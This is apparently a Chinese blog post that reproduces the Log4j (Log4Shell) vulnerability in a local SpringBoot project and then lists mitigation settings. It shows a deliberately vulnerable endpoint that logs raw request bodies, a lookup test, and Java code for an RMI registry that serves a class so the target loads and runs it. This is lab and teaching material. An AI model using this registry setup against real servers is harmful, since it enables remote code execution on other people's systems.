集成了 log4j 的 SpringBoot 下的漏洞复现

本贴最后更新于 1075 天前,其中的信息可能已经时过境迁

1. 前景提要

Log4j 史诗级漏洞这几天闹的沸沸扬扬,让我也想一探究竟,到底是怎么触发的。

2. 搭建一个集成 Log4j 的 SpringBoot 项目

根据 spring 官网的指引,创建一个 springboot 项目,然后对 pom 文件进行一个修改

<dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>

    </dependencies>

2.1 查看引入的依赖

可以看到我引入的 log4j 的依赖是 2.15.0 版本以下的,也就是会触发这个 bug 的

image.png

2.2 写一个常用的接口接受外部传入的参数

package run.runnable.learn;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.annotation.PostConstruct;

@SpringBootApplication
@Controller
public class LearnApplication {

    private static final Logger logger = LogManager.getLogger(LearnApplication.class);

    public static void main(String[] args) {
        SpringApplication.run(LearnApplication.class, args);
    }

    @PostMapping("/hack")
    @ResponseBody
    public String testHackExecute(@RequestBody String content){
        logger.info("content:{}", content);
        return content;
    }

}

这里写了一个 hack 的接口,当接口有参数传入的时候,会进行打印,这种代码大家几乎都有写过的吧。这也是这个漏洞非常严重的原因之一:易于触发

3. 测试漏洞

3.1 传入指定参数打印 vm 信息

使用 postman 进行调用接口,可以看到成功返回。

image.png

让我们去系统的日志看看,打印不是 ${java:vm},而是 JDK 的信息!

image.png

3.2 测试 rmi 远程调用

如果仅仅只是上面的那种情况还好说,至少只是生成一些错误日志,但是这个 rmi 远程调用的危害就很大。

让我们先用 java 原生的 rmi 写一个注册中心,然后注册一个服务

public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            Reference reference = new Reference("run.runnable.learn.rmi.HackExecute", "run.runnable.learn.rmi.HackExecute", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            System.out.println("service started");
            registry.bind("hack", referenceWrapper);
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

再一个可以被执行的类

public class HackExecute {

    static {
        System.out.println("HackExecute:Successful execution");
    }

}

我们把上面的服务 rmi 服务进行启动,然后使用 postman 进行调用。

image.png

当我们在控制台进行日志查看的时候,你就会发现,rmi 远程调用被成功执行了!

image.png

这意味着我可以把自己写的代码,通过这种方式在对方的服务器进行执行,不愧是史诗级漏洞。

4. 紧急补救措施

(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置 log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

4. 相关资料

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注? - nlfox 的回答 - 知乎

Logging Services - Lookups

【重要通知】关于 Apache Log4j 2 远程代码执行最新漏洞的风险提示

  • Spring

    Spring 是一个开源框架,是于 2003 年兴起的一个轻量级的 Java 开发框架,由 Rod Johnson 在其著作《Expert One-On-One J2EE Development and Design》中阐述的部分理念和原型衍生而来。它是为了解决企业应用开发的复杂性而创建的。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为 JavaEE 应用程序开发提供集成的框架。

    944 引用 • 1459 回帖 • 18 关注
  • Log4j

    Log4j 是 Apache 开源的一款使用广泛的 Java 日志组件。

    20 引用 • 18 回帖 • 31 关注
1 操作
MingGH 在 2021-12-11 23:59:42 更新了该帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...